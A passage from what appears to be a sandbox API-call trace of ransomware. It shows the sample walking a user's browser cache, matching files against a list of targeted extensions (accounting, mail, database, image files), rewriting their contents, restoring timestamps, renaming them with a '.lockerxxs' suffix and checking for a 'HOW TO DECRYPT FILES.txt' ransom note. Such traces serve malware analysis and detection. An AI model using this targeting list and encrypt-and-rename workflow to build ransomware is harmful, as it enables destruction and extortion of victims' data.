returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg" [0083.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.ems") returned 0 [0083.116] lstrlenA (lpString="*.ems") returned 5 [0083.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.db") returned 0 [0083.116] lstrlenA (lpString="*.db") returned 4 [0083.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.dbf") returned 0 [0083.116] lstrlenA (lpString="*.dbf") returned 5 [0083.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.myox") returned 0 [0083.116] lstrlenA (lpString="*.myox") returned 6 [0083.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.myo") returned 0 [0083.116] lstrlenA (lpString="*.myo") returned 5 [0083.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.qbw") returned 0 [0083.116] lstrlenA (lpString="*.qbw") returned 5 [0083.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.qbb") returned 0 [0083.116] lstrlenA (lpString="*.qbb") returned 5 [0083.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.qbm") returned 0 [0083.116] lstrlenA (lpString="*.qbm") returned 5 [0083.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.qbo") returned 0 [0083.116] lstrlenA (lpString="*.qbo") returned 5 [0083.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.qbx") returned 0 [0083.116] lstrlenA (lpString="*.qbx") returned 5 [0083.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.qba") returned 0 [0083.116] lstrlenA (lpString="*.qba") returned 5 [0083.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.qby") returned 0 [0083.116] lstrlenA (lpString="*.qby") returned 5 [0083.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.qbj") returned 0 [0083.117] lstrlenA (lpString="*.qbj") returned 5 [0083.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.ofx") returned 0 [0083.117] lstrlenA (lpString="*.ofx") returned 5 [0083.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.qif") returned 0 [0083.117] lstrlenA (lpString="*.qif") returned 5 [0083.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.mye") returned 0 [0083.117] lstrlenA (lpString="*.mye") returned 5 [0083.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.mbox") returned 0 [0083.117] lstrlenA (lpString="*.mbox") returned 6 [0083.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.eml") returned 0 [0083.117] lstrlenA (lpString="*.eml") returned 5 [0083.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.pst") returned 0 [0083.117] lstrlenA (lpString="*.pst") returned 5 [0083.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.ost") returned 0 [0083.117] lstrlenA (lpString="*.ost") returned 5 [0083.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.idx") returned 0 [0083.117] lstrlenA (lpString="*.idx") returned 5 [0083.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.dbx") returned 0 [0083.117] lstrlenA (lpString="*.dbx") returned 5 [0083.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.sql") returned 0 [0083.117] lstrlenA (lpString="*.sql") returned 5 [0083.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.mdb") returned 0 [0083.117] lstrlenA (lpString="*.mdb") returned 5 [0083.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.fdb") returned 0 [0083.117] lstrlenA (lpString="*.fdb") returned 5 [0083.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.wab") returned 0 [0083.117] lstrlenA (lpString="*.wab") returned 5 [0083.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.dat") returned 0 [0083.118] lstrlenA (lpString="*.dat") returned 5 [0083.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.txt") returned 0 [0083.118] lstrlenA (lpString="*.txt") returned 5 [0083.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.jpeg") returned 0 [0083.118] lstrlenA (lpString="*.jpeg") returned 6 [0083.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", pszSpec="*.jpg") returned 1 [0083.118] lstrlenA (lpString="*.jpg") returned 5 [0083.118] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg" [0083.118] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg" [0083.118] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg." [0083.118] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg.lockerxxs" [0083.118] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.118] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x29c3 [0083.119] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x52e28590, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x52e28590, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x52e28590, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.119] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.119] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x299d, lpOverlapped=0x0) returned 1 [0083.120] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg") returned="BBC0mkg[1].jpg" [0083.121] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.121] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x299d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x299d, lpOverlapped=0x0) returned 1 [0083.121] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.121] CloseHandle (hObject=0xa4) returned 1 [0083.121] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[1].jpg.lockerxxs")) returned 1 [0083.122] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e9a9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e9a9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52e9a9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xa7b, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC0mkg[2].jpg", cAlternateFileName="BBC0MK~2.JPG")) returned 1 [0083.122] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.122] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC0mkg[2].jpg") returned 1 [0083.122] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC0mkg[2].jpg") returned 1 [0083.122] lstrcmpiA (lpString1="", lpString2="BBC0mkg[2].jpg") returned -1 [0083.122] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg") returned="BBC0mkg[1].jpg" [0083.122] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.122] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.122] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.122] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.122] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBC0mkg[2].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg" [0083.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.ems") returned 0 [0083.122] lstrlenA (lpString="*.ems") returned 5 [0083.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.db") returned 0 [0083.123] lstrlenA (lpString="*.db") returned 4 [0083.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.dbf") returned 0 [0083.123] lstrlenA (lpString="*.dbf") returned 5 [0083.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.myox") returned 0 [0083.123] lstrlenA (lpString="*.myox") returned 6 [0083.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.myo") returned 0 [0083.123] lstrlenA (lpString="*.myo") returned 5 [0083.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.qbw") returned 0 [0083.123] lstrlenA (lpString="*.qbw") returned 5 [0083.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.qbb") returned 0 [0083.123] lstrlenA (lpString="*.qbb") returned 5 [0083.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.qbm") returned 0 [0083.123] lstrlenA (lpString="*.qbm") returned 5 [0083.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.qbo") returned 0 [0083.123] lstrlenA (lpString="*.qbo") returned 5 [0083.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.qbx") returned 0 [0083.123] lstrlenA (lpString="*.qbx") returned 5 [0083.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.qba") returned 0 [0083.123] lstrlenA (lpString="*.qba") returned 5 [0083.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.qby") returned 0 [0083.123] lstrlenA (lpString="*.qby") returned 5 [0083.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.qbj") returned 0 [0083.123] lstrlenA (lpString="*.qbj") returned 5 [0083.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.ofx") returned 0 [0083.124] lstrlenA (lpString="*.ofx") returned 5 [0083.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.qif") returned 0 [0083.124] lstrlenA (lpString="*.qif") returned 5 [0083.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.mye") returned 0 [0083.124] lstrlenA (lpString="*.mye") returned 5 [0083.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.mbox") returned 0 [0083.124] lstrlenA (lpString="*.mbox") returned 6 [0083.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.eml") returned 0 [0083.124] lstrlenA (lpString="*.eml") returned 5 [0083.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.pst") returned 0 [0083.124] lstrlenA (lpString="*.pst") returned 5 [0083.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.ost") returned 0 [0083.124] lstrlenA (lpString="*.ost") returned 5 [0083.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.idx") returned 0 [0083.124] lstrlenA (lpString="*.idx") returned 5 [0083.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.dbx") returned 0 [0083.124] lstrlenA (lpString="*.dbx") returned 5 [0083.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.sql") returned 0 [0083.124] lstrlenA (lpString="*.sql") returned 5 [0083.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.mdb") returned 0 [0083.124] lstrlenA (lpString="*.mdb") returned 5 [0083.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.fdb") returned 0 [0083.124] lstrlenA (lpString="*.fdb") returned 5 [0083.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.wab") returned 0 [0083.125] lstrlenA (lpString="*.wab") returned 5 [0083.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.dat") returned 0 [0083.125] lstrlenA (lpString="*.dat") returned 5 [0083.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.txt") returned 0 [0083.125] lstrlenA (lpString="*.txt") returned 5 [0083.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.jpeg") returned 0 [0083.125] lstrlenA (lpString="*.jpeg") returned 6 [0083.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg", pszSpec="*.jpg") returned 1 [0083.125] lstrlenA (lpString="*.jpg") returned 5 [0083.125] lstrcpyA (in: 